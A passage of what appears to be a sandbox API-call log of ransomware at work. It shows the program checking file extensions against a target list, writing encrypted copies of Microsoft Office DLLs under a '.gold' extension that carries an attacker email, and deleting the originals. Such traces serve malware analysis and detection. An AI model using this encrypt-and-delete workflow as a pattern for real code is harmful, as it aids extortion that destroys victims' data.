"c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll")) returned 1 [0109.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.374] lstrlenW (lpString=".doc") returned 4 [0109.374] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0109.374] lstrlenW (lpString=".docx") returned 5 [0109.374] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0109.374] lstrlenW (lpString=".pdf") returned 4 [0109.374] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0109.374] lstrlenW (lpString=".xls") returned 4 [0109.374] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0109.374] lstrlenW (lpString=".xlsx") returned 5 [0109.374] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0109.374] lstrlenW (lpString=".ppt") returned 4 [0109.374] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0109.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.374] lstrlenW (lpString=".zip") returned 4 [0109.374] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0109.374] lstrlenW (lpString=".rar") returned 4 [0109.374] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0109.374] lstrlenW (lpString=".bz2") returned 4 [0109.374] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0109.374] lstrlenW (lpString=".7z") returned 3 [0109.374] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.374] lstrlenW (lpString=".dbf") returned 4 [0109.374] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0109.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.374] lstrlenW (lpString=".1cd") returned 4 [0109.374] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0109.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.374] lstrlenW (lpString=".jpg") returned 4 [0109.374] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0109.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.375] lstrlenW (lpString=".doc") returned 4 [0109.375] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0109.375] lstrlenW (lpString=".docx") returned 5 [0109.375] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0109.375] lstrlenW (lpString=".pdf") returned 4 [0109.375] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0109.375] lstrlenW (lpString=".xls") returned 4 [0109.375] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0109.375] lstrlenW (lpString=".xlsx") returned 5 [0109.375] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0109.375] lstrlenW (lpString=".ppt") returned 4 [0109.375] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0109.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.375] lstrlenW (lpString=".zip") returned 4 [0109.375] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0109.375] lstrlenW (lpString=".rar") returned 4 [0109.375] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0109.375] lstrlenW (lpString=".bz2") returned 4 [0109.375] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0109.375] lstrlenW (lpString=".7z") returned 3 [0109.375] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.375] lstrlenW (lpString=".dbf") returned 4 [0109.375] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0109.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.375] lstrlenW (lpString=".1cd") returned 4 [0109.375] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0109.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68 [0109.375] lstrlenW (lpString=".jpg") returned 4 [0109.375] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0109.375] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.375] lstrlenW (lpString="XLSLICER.DLL") returned 12 [0109.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.388] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=177536) returned 1 [0109.388] CloseHandle (hObject=0x364) returned 1 [0109.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll")) returned 0x20 [0109.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.388] lstrlenW (lpString=".doc") returned 4 [0109.388] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.388] lstrlenW (lpString=".docx") returned 5 [0109.388] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0109.388] lstrlenW (lpString=".pdf") returned 4 [0109.388] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.388] lstrlenW (lpString=".xls") returned 4 [0109.388] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.388] lstrlenW (lpString=".xlsx") returned 5 [0109.388] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0109.388] lstrlenW (lpString=".ppt") returned 4 [0109.388] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.388] lstrlenW (lpString=".zip") returned 4 [0109.388] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.388] lstrlenW (lpString=".rar") returned 4 [0109.388] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.388] lstrlenW (lpString=".bz2") returned 4 [0109.388] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.388] lstrlenW (lpString=".7z") returned 3 [0109.388] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.389] lstrlenW (lpString=".dbf") returned 4 [0109.389] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.389] lstrlenW (lpString=".1cd") returned 4 [0109.389] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.389] lstrlenW (lpString=".jpg") returned 4 [0109.389] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.389] lstrlenW (lpString=".doc") returned 4 [0109.389] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.389] lstrlenW (lpString=".docx") returned 5 [0109.389] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0109.389] lstrlenW (lpString=".pdf") returned 4 [0109.389] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.389] lstrlenW (lpString=".xls") returned 4 [0109.389] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.389] lstrlenW (lpString=".xlsx") returned 5 [0109.389] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0109.389] lstrlenW (lpString=".ppt") returned 4 [0109.389] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.389] lstrlenW (lpString=".zip") returned 4 [0109.389] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.389] lstrlenW (lpString=".rar") returned 4 [0109.389] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.389] lstrlenW (lpString=".bz2") returned 4 [0109.389] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.389] lstrlenW (lpString=".7z") returned 3 [0109.389] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.389] lstrlenW (lpString=".dbf") returned 4 [0109.390] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.390] lstrlenW (lpString=".1cd") returned 4 [0109.390] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL") returned 60 [0109.390] lstrlenW (lpString=".jpg") returned 4 [0109.390] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.390] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0109.390] lstrlenW (lpString="XLSLICER.DLL.IDX_DLL") returned 20 [0109.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.402] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=12672) returned 1 [0109.402] CloseHandle (hObject=0x3b4) returned 1 [0109.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll")) returned 0x20 [0109.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.516] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.516] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0109.517] GetLastError () returned 0x0 [0109.517] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x3180, lpOverlapped=0x0) returned 1 [0109.572] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x3190, lpOverlapped=0x0) returned 1 [0109.572] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.572] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0109.573] SetEndOfFile (hFile=0x3b8) returned 1 [0109.573] CloseHandle (hObject=0x3b8) returned 1 [0109.573] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.573] SetEndOfFile (hFile=0x188) returned 1 [0109.574] CloseHandle (hObject=0x188) returned 1 [0109.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll")) returned 1 [0109.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.575] lstrlenW (lpString=".doc") returned 4 [0109.575] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0109.575] lstrlenW (lpString=".docx") returned 5 [0109.576] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0109.576] lstrlenW (lpString=".pdf") returned 4 [0109.576] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".xls") returned 4 [0109.576] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".xlsx") returned 5 [0109.576] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0109.576] lstrlenW (lpString=".ppt") returned 4 [0109.576] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.576] lstrlenW (lpString=".zip") returned 4 [0109.576] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".rar") returned 4 [0109.576] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".bz2") returned 4 [0109.576] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".7z") returned 3 [0109.576] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.576] lstrlenW (lpString=".dbf") returned 4 [0109.576] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.576] lstrlenW (lpString=".1cd") returned 4 [0109.576] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.576] lstrlenW (lpString=".jpg") returned 4 [0109.576] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.576] lstrlenW (lpString=".doc") returned 4 [0109.576] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".docx") returned 5 [0109.576] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0109.576] lstrlenW (lpString=".pdf") returned 4 [0109.576] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".xls") returned 4 [0109.576] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".xlsx") returned 5 [0109.576] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0109.576] lstrlenW (lpString=".ppt") returned 4 [0109.576] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.576] lstrlenW (lpString=".zip") returned 4 [0109.576] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".rar") returned 4 [0109.576] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".bz2") returned 4 [0109.576] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString=".7z") returned 3 [0109.576] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.576] lstrlenW (lpString=".dbf") returned 4 [0109.576] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.576] lstrlenW (lpString=".1cd") returned 4 [0109.576] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0109.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL") returned 68 [0109.577] lstrlenW (lpString=".jpg") returned 4 [0109.577] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0109.577] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.577] lstrlenW (lpString="ACCDDS.DLL") returned 10 [0109.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.577] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1250224) returned 1 [0109.577] CloseHandle (hObject=0x188) returned 1 [0109.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll")) returned 0x20 [0109.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accdds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.578] lstrlenW (lpString=".doc") returned 4 [0109.578] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.578] lstrlenW (lpString=".docx") returned 5 [0109.578] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0109.578] lstrlenW (lpString=".pdf") returned 4 [0109.578] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.578] lstrlenW (lpString=".xls") returned 4 [0109.578] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.578] lstrlenW (lpString=".xlsx") returned 5 [0109.578] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0109.578] lstrlenW (lpString=".ppt") returned 4 [0109.578] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.578] lstrlenW (lpString=".zip") returned 4 [0109.578] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.578] lstrlenW (lpString=".rar") returned 4 [0109.578] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.578] lstrlenW (lpString=".bz2") returned 4 [0109.578] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.578] lstrlenW (lpString=".7z") returned 3 [0109.578] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.578] lstrlenW (lpString=".dbf") returned 4 [0109.578] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.578] lstrlenW (lpString=".1cd") returned 4 [0109.578] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.578] lstrlenW (lpString=".jpg") returned 4 [0109.578] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.578] lstrlenW (lpString=".doc") returned 4 [0109.578] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.578] lstrlenW (lpString=".docx") returned 5 [0109.578] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0109.578] lstrlenW (lpString=".pdf") returned 4 [0109.578] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.578] lstrlenW (lpString=".xls") returned 4 [0109.578] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.578] lstrlenW (lpString=".xlsx") returned 5 [0109.578] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0109.578] lstrlenW (lpString=".ppt") returned 4 [0109.578] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.579] lstrlenW (lpString=".zip") returned 4 [0109.579] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0109.579] lstrlenW (lpString=".rar") returned 4 [0109.579] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0109.579] lstrlenW (lpString=".bz2") returned 4 [0109.579] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0109.579] lstrlenW (lpString=".7z") returned 3 [0109.579] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.579] lstrlenW (lpString=".dbf") returned 4 [0109.579] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0109.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.579] lstrlenW (lpString=".1cd") returned 4 [0109.579] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0109.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDS.DLL") returned 53 [0109.579] lstrlenW (lpString=".jpg") returned 4 [0109.579] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0109.579] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.579] lstrlenW (lpString="ACCDDSF.DLL") returned 11 [0109.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.709] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=579488) returned 1 [0109.709] CloseHandle (hObject=0x3b4) returned 1 [0109.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll")) returned 0x20 [0109.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL") returned 54 [0109.724] lstrlenW (lpString=".doc") returned 4 [0109.724] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.724] lstrlenW (lpString=".docx") returned 5 [0109.724] lstrcmpiW (lpString1=".docx", lpString2="F.DLL") returned -1 [0109.724] lstrlenW 